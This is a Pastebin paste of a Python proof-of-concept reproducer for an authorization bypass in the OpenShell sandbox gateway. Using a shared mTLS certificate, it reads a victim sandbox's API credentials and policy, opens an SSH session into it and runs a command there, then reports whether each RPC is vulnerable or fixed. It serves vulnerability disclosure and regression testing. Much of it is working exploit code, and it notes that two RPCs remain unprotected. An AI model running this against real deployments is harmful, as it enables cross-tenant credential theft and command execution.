drpanwe

Untitled

May 28th, 2026
15,990
0
Never
4
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 26.41 KB | None | 0 0
  1. #!/usr/bin/env python3
  2. # SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
  3. # SPDX-License-Identifier: Apache-2.0
  4.  
  5. """
  6. Reproducer: Cross-Sandbox Authorization Bypass via IDOR
  7. =======================================================
  8.  
  9. Product : NVIDIA OpenShell (openshell-server gRPC gateway)
  10. Version : 0.0.8-dev.5 (commit 925160e84, main branch)
  11. CWE : CWE-639 - Insecure Direct Object Reference
  12. CVSS : 7.7 (High) - AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
  13.  
  14. Vulnerability
  15. -------------
  16. Sandbox-scoped gRPC RPCs accept an arbitrary sandbox_id with no
  17. ownership or authorization check. All sandbox pods and the CLI share
  18. a single mTLS client certificate (CN=openshell-client), so the server
  19. cannot distinguish callers at the TLS layer. This allows any sandbox
  20. (or any holder of the shared cert) to:
  21.  
  22. - Read another sandbox's provider credentials (API keys) via
  23. GetSandboxProviderEnvironment
  24. - Read another sandbox's policy via GetSandboxPolicy
  25. - Create SSH sessions into another sandbox via CreateSshSession
  26. - Execute arbitrary commands inside another sandbox via ExecSandbox
  27.  
  28. The impact is amplified by the optional unauthenticated edge mode
  29. where no mTLS is required at all.
  30.  
  31. What this script tests
  32. ----------------------
  33. The script creates two sandboxes: a VICTIM (with a secret API key)
  34. and an ATTACKER (separate, no provider). It then calls sandbox-scoped
  35. RPCs using the victim's sandbox_id from the attacker's perspective
  36. (the same mTLS connection, no per-sandbox authorization token).
  37.  
  38. Tested RPCs:
  39. 1. GetSandboxProviderEnvironment - no token (attacker reads victim creds)
  40. 2. GetSandboxProviderEnvironment - fabricated token against victim
  41. 3. GetSandboxPolicy - no token (attacker reads victim policy)
  42. 4. CreateSshSession - no token (attacker gets SSH into victim)
  43. 5. ExecSandbox - no token (attacker runs commands in victim)
  44.  
  45. Tests 1-3 target RPCs that were hardened by the fix (should reject on
  46. patched servers). Tests 4-5 target write-side RPCs (CreateSshSession,
  47. ExecSandbox) which remain unprotected at the time of writing.
  48.  
  49. Tests 4-5 require the sandbox pod to be in Ready phase. Use --wait-ready
  50. to poll until the sandbox controller has provisioned the pod (default
  51. timeout: 120s). Without --wait-ready, write-side tests will be
  52. INCONCLUSIVE if pods are not yet running.
  53.  
  54. Limitations
  55. -----------
  56. Legacy sandbox caveat: The patched server's validate_sandbox_token()
  57. allows unrestricted access to sandboxes whose sandbox_token_hash is
  58. empty (created before token enforcement). This script only creates
  59. fresh sandboxes, which always receive a token hash, so it cannot
  60. exercise that legacy compatibility path. A "FIXED" result here does
  61. not prove legacy sandboxes are protected.
  62.  
  63. Test 2 uses a fabricated UUID-format token, not the attacker sandbox's
  64. real OPENSHELL_SANDBOX_TOKEN. The real token is only available inside
  65. the attacker's pod (injected as an environment variable during pod
  66. creation) and is not returned by the CreateSandbox API. A full cross-
  67. sandbox token replay test would require exec'ing into the attacker pod
  68. to retrieve it. On unpatched servers this distinction is irrelevant
  69. since no token validation exists. On patched servers, the fabricated
  70. token still proves the server rejects non-matching tokens, but would
  71. not catch a hypothetical regression that accepts any valid-for-some-
  72. sandbox token.
  73.  
  74. Tests 4-5 (CreateSshSession, ExecSandbox) will be INCONCLUSIVE when
  75. the sandbox pod is not actually running, because the server rejects
  76. with FAILED_PRECONDITION before reaching any authorization logic.
  77. Use --wait-ready to wait for pod provisioning. The absence of
  78. validate_sandbox_token() in both handlers is confirmed by source
  79. inspection (see grpc.rs create_ssh_session and exec_sandbox).
  80.  
  81. Error classification: Tests 1-3 only count UNAUTHENTICATED or
  82. PERMISSION_DENIED as proof that the authorization fix is active.
  83. Any other gRPC error (NOT_FOUND, INTERNAL, UNAVAILABLE, etc.) is
  84. recorded as INCONCLUSIVE to avoid false confidence from transport
  85. or unrelated server failures.
  86.  
  87. Prerequisites
  88. -------------
  89. 1. A running OpenShell gateway (openshell gateway start)
  90. 2. Python 3.10+ with grpcio and protobuf
  91. 3. Generated proto stubs in python/openshell/_proto/
  92. 4. mTLS certs at ~/.config/openshell/gateways/<gateway>/mtls/
  93.  
  94. Usage
  95. -----
  96. Read-side tests only (fast, no pod wait):
  97.  
  98. PYTHONPATH=python uv run python e2e/python/reproducer_sandbox_authz_bypass.py
  99.  
  100. Full test including write-side (waits for pod provisioning):
  101.  
  102. PYTHONPATH=python uv run python e2e/python/reproducer_sandbox_authz_bypass.py \\
  103. --wait-ready
  104.  
  105. With custom endpoint, gateway name, or timeout:
  106.  
  107. PYTHONPATH=python uv run python e2e/python/reproducer_sandbox_authz_bypass.py \\
  108. --wait-ready --ready-timeout 180 --endpoint 127.0.0.1:8080 --gateway openshell
  109.  
  110. PYTHONPATH=python uv run python e2e/python/reproducer_sandbox_authz_bypass.py \\
  111. --plaintext --endpoint 127.0.0.1:9090
  112.  
  113. Expected results
  114. ----------------
  115. VULNERABLE (unpatched): All tests return data - API keys leaked,
  116. SSH session created, commands executed,
  117. policy disclosed.
  118. FIXED (patched): Tests 1-3 are rejected with UNAUTHENTICATED
  119. or PERMISSION_DENIED. Tests 4-5 may still
  120. succeed (CreateSshSession and ExecSandbox
  121. are not yet gated).
  122. Note: "FIXED" only covers fresh sandboxes.
  123. Legacy sandboxes with empty token hashes
  124. are still allowed through by the patch.
  125. """
  126.  
  127. from __future__ import annotations
  128.  
  129. import argparse
  130. import pathlib
  131. import sys
  132. import time
  133.  
  134. import grpc
  135.  
  136. from openshell._proto import (
  137. datamodel_pb2,
  138. openshell_pb2,
  139. openshell_pb2_grpc,
  140. sandbox_pb2,
  141. )
  142.  
  143.  
  144. def parse_args() -> argparse.Namespace:
  145. p = argparse.ArgumentParser(
  146. description="Reproduce cross-sandbox authorization bypass in OpenShell gateway",
  147. )
  148. p.add_argument(
  149. "--endpoint",
  150. default="127.0.0.1:8080",
  151. help="Gateway gRPC endpoint (default: 127.0.0.1:8080)",
  152. )
  153. p.add_argument(
  154. "--gateway",
  155. default="openshell",
  156. help="Gateway name for mTLS cert lookup (default: openshell)",
  157. )
  158. p.add_argument(
  159. "--plaintext",
  160. action="store_true",
  161. help="Use insecure plaintext channel (skip mTLS)",
  162. )
  163. p.add_argument(
  164. "--wait-ready",
  165. action="store_true",
  166. help="Wait for victim sandbox pod to reach Ready before running "
  167. "write-side tests (CreateSshSession, ExecSandbox). Without this "
  168. "flag, write-side tests may be INCONCLUSIVE.",
  169. )
  170. p.add_argument(
  171. "--ready-timeout",
  172. type=int,
  173. default=120,
  174. help="Seconds to wait for sandbox Ready when --wait-ready is set "
  175. "(default: 120)",
  176. )
  177. return p.parse_args()
  178.  
  179.  
  180. def make_channel(args: argparse.Namespace) -> grpc.Channel:
  181. if args.plaintext:
  182. return grpc.insecure_channel(args.endpoint)
  183.  
  184. mtls_dir = (
  185. pathlib.Path.home()
  186. / ".config"
  187. / "openshell"
  188. / "gateways"
  189. / args.gateway
  190. / "mtls"
  191. )
  192. ca_pem = (mtls_dir / "ca.crt").read_bytes()
  193. cert_pem = (mtls_dir / "tls.crt").read_bytes()
  194. key_pem = (mtls_dir / "tls.key").read_bytes()
  195.  
  196. credentials = grpc.ssl_channel_credentials(
  197. root_certificates=ca_pem,
  198. private_key=key_pem,
  199. certificate_chain=cert_pem,
  200. )
  201. return grpc.secure_channel(args.endpoint, credentials)
  202.  
  203.  
  204. def delete_quietly(stub, name: str, kind: str) -> None:
  205. try:
  206. if kind == "sandbox":
  207. stub.DeleteSandbox(openshell_pb2.DeleteSandboxRequest(name=name))
  208. elif kind == "provider":
  209. stub.DeleteProvider(openshell_pb2.DeleteProviderRequest(name=name))
  210. except grpc.RpcError:
  211. pass
  212.  
  213.  
  214. def _default_policy() -> sandbox_pb2.SandboxPolicy:
  215. return sandbox_pb2.SandboxPolicy(
  216. version=1,
  217. filesystem=sandbox_pb2.FilesystemPolicy(
  218. include_workdir=True,
  219. read_only=["/usr", "/lib", "/etc"],
  220. read_write=["/sandbox", "/tmp"],
  221. ),
  222. process=sandbox_pb2.ProcessPolicy(
  223. run_as_user="sandbox",
  224. run_as_group="sandbox",
  225. ),
  226. )
  227.  
  228.  
  229. def wait_for_sandbox_ready(
  230. stub, sandbox_id: str, timeout: int = 120, poll_interval: int = 3,
  231. ) -> bool:
  232. """Poll CreateSshSession until sandbox is Ready or timeout expires.
  233.  
  234. Returns True if sandbox reached Ready, False on timeout. We use
  235. CreateSshSession as the probe because it returns FAILED_PRECONDITION
  236. when the sandbox phase is not Ready, and succeeds (or returns an
  237. authz error) when it is.
  238. """
  239. deadline = time.monotonic() + timeout
  240. attempt = 0
  241. while time.monotonic() < deadline:
  242. attempt += 1
  243. try:
  244. resp = stub.CreateSshSession(
  245. openshell_pb2.CreateSshSessionRequest(sandbox_id=sandbox_id)
  246. )
  247. stub.RevokeSshSession(
  248. openshell_pb2.RevokeSshSessionRequest(token=resp.token)
  249. )
  250. return True
  251. except grpc.RpcError as e:
  252. if e.code() == grpc.StatusCode.FAILED_PRECONDITION:
  253. remaining = int(deadline - time.monotonic())
  254. print(f" [{attempt}] Sandbox not ready, {remaining}s remaining...")
  255. time.sleep(poll_interval)
  256. elif e.code() in (
  257. grpc.StatusCode.UNAUTHENTICATED,
  258. grpc.StatusCode.PERMISSION_DENIED,
  259. ):
  260. return True
  261. else:
  262. print(f" [{attempt}] Unexpected: {e.code().name}: {e.details()}")
  263. time.sleep(poll_interval)
  264. return False
  265.  
  266.  
  267. AUTHZ_CODES = frozenset({
  268. grpc.StatusCode.UNAUTHENTICATED,
  269. grpc.StatusCode.PERMISSION_DENIED,
  270. })
  271.  
  272.  
  273. class Result:
  274. def __init__(self):
  275. self.vulnerable = 0
  276. self.fixed = 0
  277. self.inconclusive = 0
  278. self.entries: list[tuple[str, str, str]] = []
  279.  
  280. def record(self, test: str, status: str, detail: str) -> None:
  281. self.entries.append((test, status, detail))
  282. if status == "VULNERABLE":
  283. self.vulnerable += 1
  284. elif status == "FIXED":
  285. self.fixed += 1
  286. else:
  287. self.inconclusive += 1
  288.  
  289. def record_rpc_error(self, test: str, e: grpc.RpcError) -> None:
  290. """Classify an RPC error as FIXED or INCONCLUSIVE.
  291.  
  292. Only UNAUTHENTICATED and PERMISSION_DENIED indicate the
  293. authorization check actually fired. Any other error (NOT_FOUND,
  294. INTERNAL, UNAVAILABLE, etc.) is ambiguous and recorded as
  295. INCONCLUSIVE to avoid false confidence.
  296. """
  297. detail = f"{e.code().name}: {e.details()}"
  298. if e.code() in AUTHZ_CODES:
  299. print(f"\n [OK] REJECTED by authorization - {detail}")
  300. self.record(test, "FIXED", detail)
  301. else:
  302. print(f"\n [??] INCONCLUSIVE - non-authz error")
  303. print(f" {detail}")
  304. self.record(test, "INCONCLUSIVE", detail)
  305.  
  306.  
  307. def main() -> int:
  308. args = parse_args()
  309. channel = make_channel(args)
  310. stub = openshell_pb2_grpc.OpenShellStub(channel)
  311.  
  312. try:
  313. stub.Health(openshell_pb2.HealthRequest(), timeout=10)
  314. except grpc.RpcError as e:
  315. print(f"[!] Cannot reach gateway at {args.endpoint}: {e}", file=sys.stderr)
  316. return 1
  317. print(f"[+] Connected to gateway at {args.endpoint}")
  318.  
  319. SECRET_KEY = "sk-ant-SUPER-SECRET-KEY-12345"
  320. VICTIM_PROVIDER = "repro-victim-provider"
  321. VICTIM_SANDBOX = "repro-victim-sandbox"
  322. ATTACKER_SANDBOX = "repro-attacker-sandbox"
  323.  
  324. result = Result()
  325.  
  326. try:
  327. # =================================================================
  328. # SETUP: Victim provider + sandbox (has secrets)
  329. # =================================================================
  330. delete_quietly(stub, VICTIM_PROVIDER, "provider")
  331. stub.CreateProvider(
  332. openshell_pb2.CreateProviderRequest(
  333. provider=datamodel_pb2.Provider(
  334. name=VICTIM_PROVIDER,
  335. type="claude",
  336. credentials={"ANTHROPIC_API_KEY": SECRET_KEY},
  337. )
  338. )
  339. )
  340. print(f"[+] Created victim provider '{VICTIM_PROVIDER}'")
  341. print(f" Secret: {SECRET_KEY}")
  342.  
  343. delete_quietly(stub, VICTIM_SANDBOX, "sandbox")
  344. victim_resp = stub.CreateSandbox(
  345. openshell_pb2.CreateSandboxRequest(
  346. name=VICTIM_SANDBOX,
  347. spec=datamodel_pb2.SandboxSpec(
  348. policy=_default_policy(),
  349. providers=[VICTIM_PROVIDER],
  350. ),
  351. )
  352. )
  353. victim_id = victim_resp.sandbox.id
  354. print(f"[+] Created victim sandbox '{VICTIM_SANDBOX}' (id: {victim_id})")
  355.  
  356. # =================================================================
  357. # SETUP: Attacker sandbox (no provider, separate identity)
  358. # =================================================================
  359. delete_quietly(stub, ATTACKER_SANDBOX, "sandbox")
  360. attacker_resp = stub.CreateSandbox(
  361. openshell_pb2.CreateSandboxRequest(
  362. name=ATTACKER_SANDBOX,
  363. spec=datamodel_pb2.SandboxSpec(policy=_default_policy()),
  364. )
  365. )
  366. attacker_id = attacker_resp.sandbox.id
  367. print(f"[+] Created attacker sandbox '{ATTACKER_SANDBOX}' (id: {attacker_id})")
  368. print()
  369.  
  370. # =================================================================
  371. # TEST 1: GetSandboxProviderEnvironment - no token
  372. #
  373. # Attacker uses the shared mTLS cert to read the victim's
  374. # provider credentials without any per-sandbox token.
  375. # =================================================================
  376. print("=" * 64)
  377. print("TEST 1: GetSandboxProviderEnvironment - no token")
  378. print(f" caller context = attacker (shared mTLS cert)")
  379. print(f" target = victim sandbox {victim_id}")
  380. print(f" x-sandbox-token = (none)")
  381. print("=" * 64)
  382.  
  383. try:
  384. env_resp = stub.GetSandboxProviderEnvironment(
  385. openshell_pb2.GetSandboxProviderEnvironmentRequest(
  386. sandbox_id=victim_id,
  387. )
  388. )
  389. env = dict(env_resp.environment)
  390. leaked = env.get("ANTHROPIC_API_KEY", "")
  391. detail = f"leaked ANTHROPIC_API_KEY={leaked}"
  392. print(f"\n [!!] VULNERABLE - {detail}")
  393. result.record("GetSandboxProviderEnvironment (no token)", "VULNERABLE", detail)
  394. except grpc.RpcError as e:
  395. result.record_rpc_error("GetSandboxProviderEnvironment (no token)", e)
  396.  
  397. # =================================================================
  398. # TEST 2: GetSandboxProviderEnvironment - fabricated token
  399. #
  400. # Submits a UUID-format token that is not valid for any
  401. # sandbox. On unpatched servers, the header is ignored and
  402. # credentials are returned. On patched servers, the token
  403. # hash won't match and the call is rejected.
  404. #
  405. # NOTE: This is NOT a real cross-sandbox token replay.
  406. # The attacker's real OPENSHELL_SANDBOX_TOKEN is only
  407. # available inside the attacker pod and cannot be obtained
  408. # through the API. See the Limitations section in the
  409. # docstring for details.
  410. # =================================================================
  411. print()
  412. print("=" * 64)
  413. print("TEST 2: GetSandboxProviderEnvironment - fabricated token")
  414. print(f" caller context = attacker (shared mTLS cert)")
  415. print(f" target = victim sandbox {victim_id}")
  416. print(f" x-sandbox-token = (fabricated UUID, not valid for any sandbox)")
  417. print("=" * 64)
  418.  
  419. fabricated_token = f"aaaaaaaa-bbbb-cccc-dddd-{attacker_id[:12]}"
  420.  
  421. try:
  422. env_resp = stub.GetSandboxProviderEnvironment(
  423. openshell_pb2.GetSandboxProviderEnvironmentRequest(
  424. sandbox_id=victim_id,
  425. ),
  426. metadata=[("x-sandbox-token", fabricated_token)],
  427. )
  428. env = dict(env_resp.environment)
  429. leaked = env.get("ANTHROPIC_API_KEY", "")
  430. detail = f"leaked ANTHROPIC_API_KEY={leaked}"
  431. print(f"\n [!!] VULNERABLE - {detail}")
  432. result.record("GetSandboxProviderEnvironment (fabricated token)", "VULNERABLE", detail)
  433. except grpc.RpcError as e:
  434. result.record_rpc_error("GetSandboxProviderEnvironment (fabricated token)", e)
  435.  
  436. # =================================================================
  437. # TEST 3: GetSandboxPolicy - no token
  438. #
  439. # Attacker reads the victim's sandbox policy configuration.
  440. # GetSandboxPolicyRequest lives in sandbox_pb2 (not openshell_pb2).
  441. # =================================================================
  442. print()
  443. print("=" * 64)
  444. print("TEST 3: GetSandboxPolicy - no token")
  445. print(f" caller context = attacker (shared mTLS cert)")
  446. print(f" target = victim sandbox {victim_id}")
  447. print(f" x-sandbox-token = (none)")
  448. print("=" * 64)
  449.  
  450. try:
  451. policy_resp = stub.GetSandboxPolicy(
  452. sandbox_pb2.GetSandboxPolicyRequest(
  453. sandbox_id=victim_id,
  454. )
  455. )
  456. detail = f"policy version {policy_resp.version} disclosed"
  457. print(f"\n [!!] VULNERABLE - {detail}")
  458. result.record("GetSandboxPolicy (no token)", "VULNERABLE", detail)
  459. except grpc.RpcError as e:
  460. result.record_rpc_error("GetSandboxPolicy (no token)", e)
  461.  
  462. # =================================================================
  463. # WRITE-SIDE TESTS: require sandbox pod to be Ready
  464. #
  465. # CreateSshSession and ExecSandbox check sandbox phase before
  466. # doing anything, so they return FAILED_PRECONDITION when the
  467. # pod is not running. With --wait-ready, we poll until the
  468. # sandbox controller has provisioned the pod.
  469. # =================================================================
  470. victim_ready = False
  471. if args.wait_ready:
  472. print()
  473. print("=" * 64)
  474. print(f"WAITING for victim sandbox to reach Ready "
  475. f"(timeout {args.ready_timeout}s)")
  476. print("=" * 64)
  477. victim_ready = wait_for_sandbox_ready(
  478. stub, victim_id, timeout=args.ready_timeout,
  479. )
  480. if victim_ready:
  481. print(" Victim sandbox is Ready.")
  482. else:
  483. print(" Timed out. Write-side tests will be INCONCLUSIVE.")
  484. else:
  485. print()
  486. print("[*] Skipping sandbox Ready wait (use --wait-ready to enable)")
  487.  
  488. # =================================================================
  489. # TEST 4: CreateSshSession - no token
  490. #
  491. # Attacker creates an SSH session into the victim's sandbox.
  492. # At the time of writing, CreateSshSession does NOT call
  493. # validate_sandbox_token(), so this RPC remains unprotected
  494. # even after the read-side fix.
  495. #
  496. # Source: crates/openshell-server/src/grpc.rs, fn create_ssh_session
  497. # =================================================================
  498. print()
  499. print("=" * 64)
  500. print("TEST 4: CreateSshSession - no token")
  501. print(f" caller context = attacker (shared mTLS cert)")
  502. print(f" target = victim sandbox {victim_id}")
  503. print(f" x-sandbox-token = (none)")
  504. print("=" * 64)
  505.  
  506. try:
  507. ssh_resp = stub.CreateSshSession(
  508. openshell_pb2.CreateSshSessionRequest(
  509. sandbox_id=victim_id,
  510. )
  511. )
  512. detail = (
  513. f"SSH session token issued: {ssh_resp.token[:16]}... "
  514. f"(host={ssh_resp.gateway_host}:{ssh_resp.gateway_port})"
  515. )
  516. print(f"\n [!!] VULNERABLE - {detail}")
  517. result.record("CreateSshSession (no token)", "VULNERABLE", detail)
  518.  
  519. stub.RevokeSshSession(
  520. openshell_pb2.RevokeSshSessionRequest(token=ssh_resp.token)
  521. )
  522. except grpc.RpcError as e:
  523. detail = f"{e.code().name}: {e.details()}"
  524. if e.code() in AUTHZ_CODES:
  525. print(f"\n [OK] REJECTED by authorization - {detail}")
  526. result.record("CreateSshSession (no token)", "FIXED", detail)
  527. elif e.code() == grpc.StatusCode.FAILED_PRECONDITION:
  528. print(f"\n [??] INCONCLUSIVE - sandbox pod not running")
  529. print(f" {detail}")
  530. if not args.wait_ready:
  531. print(f" Re-run with --wait-ready to wait for pod provisioning.")
  532. result.record("CreateSshSession (no token)", "INCONCLUSIVE", detail)
  533. else:
  534. print(f"\n [??] INCONCLUSIVE - non-authz error")
  535. print(f" {detail}")
  536. result.record("CreateSshSession (no token)", "INCONCLUSIVE", detail)
  537.  
  538. # =================================================================
  539. # TEST 5: ExecSandbox - no token
  540. #
  541. # Attacker runs a command inside the victim's sandbox.
  542. # ExecSandbox does NOT call validate_sandbox_token(), so this
  543. # RPC remains unprotected even after the read-side fix.
  544. #
  545. # Source: crates/openshell-server/src/grpc.rs, fn exec_sandbox
  546. # =================================================================
  547. print()
  548. print("=" * 64)
  549. print("TEST 5: ExecSandbox - no token")
  550. print(f" caller context = attacker (shared mTLS cert)")
  551. print(f" target = victim sandbox {victim_id}")
  552. print(f" x-sandbox-token = (none)")
  553. exec_cmd = ["hostname"]
  554. print(f" command = {exec_cmd}")
  555. print(f" expected output = '{VICTIM_SANDBOX}' (victim pod name)")
  556. print("=" * 64)
  557.  
  558. try:
  559. events = stub.ExecSandbox(
  560. openshell_pb2.ExecSandboxRequest(
  561. sandbox_id=victim_id,
  562. command=exec_cmd,
  563. )
  564. )
  565. output_parts = []
  566. exit_code = None
  567. for event in events:
  568. which = event.WhichOneof("payload")
  569. if which == "stdout":
  570. output_parts.append(
  571. event.stdout.data.decode("utf-8", errors="replace")
  572. )
  573. elif which == "stderr":
  574. output_parts.append(
  575. event.stderr.data.decode("utf-8", errors="replace")
  576. )
  577. elif which == "exit":
  578. exit_code = event.exit.exit_code
  579. output = "".join(output_parts).strip()
  580. is_victim = output == VICTIM_SANDBOX
  581. marker = "CONFIRMS victim sandbox" if is_victim else "unexpected hostname"
  582. detail = f"hostname='{output}' ({marker}, exit {exit_code})"
  583. print(f"\n [!!] VULNERABLE - {detail}")
  584. result.record("ExecSandbox (no token)", "VULNERABLE", detail)
  585. except grpc.RpcError as e:
  586. detail = f"{e.code().name}: {e.details()}"
  587. if e.code() in AUTHZ_CODES:
  588. print(f"\n [OK] REJECTED by authorization - {detail}")
  589. result.record("ExecSandbox (no token)", "FIXED", detail)
  590. elif e.code() == grpc.StatusCode.FAILED_PRECONDITION:
  591. print(f"\n [??] INCONCLUSIVE - sandbox pod not running")
  592. print(f" {detail}")
  593. if not args.wait_ready:
  594. print(f" Re-run with --wait-ready to wait for pod provisioning.")
  595. result.record("ExecSandbox (no token)", "INCONCLUSIVE", detail)
  596. else:
  597. print(f"\n [??] INCONCLUSIVE - non-authz error")
  598. print(f" {detail}")
  599. result.record("ExecSandbox (no token)", "INCONCLUSIVE", detail)
  600.  
  601. # =================================================================
  602. # SUMMARY
  603. # =================================================================
  604. print()
  605. print("=" * 64)
  606. print("RESULTS")
  607. print("=" * 64)
  608. total = len(result.entries)
  609. print(f" Tests run: {total}")
  610. print(f" Vulnerable: {result.vulnerable}")
  611. print(f" Fixed: {result.fixed}")
  612. print(f" Inconclusive: {result.inconclusive}")
  613. print()
  614. for test, status, detail in result.entries:
  615. tags = {
  616. "VULNERABLE": "[!!]",
  617. "FIXED": "[OK]",
  618. "INCONCLUSIVE": "[??]",
  619. }
  620. tag = tags.get(status, "[--]")
  621. print(f" {tag} {test}")
  622. print(f" {detail}")
  623. print()
  624. if result.vulnerable > 0:
  625. print(" CONCLUSION: Authorization bypass CONFIRMED. (exit 2)")
  626. print(" Cross-sandbox credential exfiltration is possible.")
  627. elif result.inconclusive > 0:
  628. print(" CONCLUSION: Read-side RPCs appear fixed, but some tests")
  629. print(" returned non-authz errors or could not be validated.")
  630. print(" Review INCONCLUSIVE entries above. (exit 1)")
  631. else:
  632. print(" CONCLUSION: All tested RPCs rejected unauthorized access")
  633. print(" with explicit authz errors. (exit 0)")
  634.  
  635. finally:
  636. delete_quietly(stub, ATTACKER_SANDBOX, "sandbox")
  637. delete_quietly(stub, VICTIM_SANDBOX, "sandbox")
  638. delete_quietly(stub, VICTIM_PROVIDER, "provider")
  639. print("\n[+] Cleanup complete")
  640.  
  641. channel.close()
  642. if result.vulnerable > 0:
  643. return 2
  644. if result.inconclusive > 0:
  645. return 1
  646. return 0
  647.  
  648.  
  649. if __name__ == "__main__":
  650. raise SystemExit(main())
  651.  
Advertisement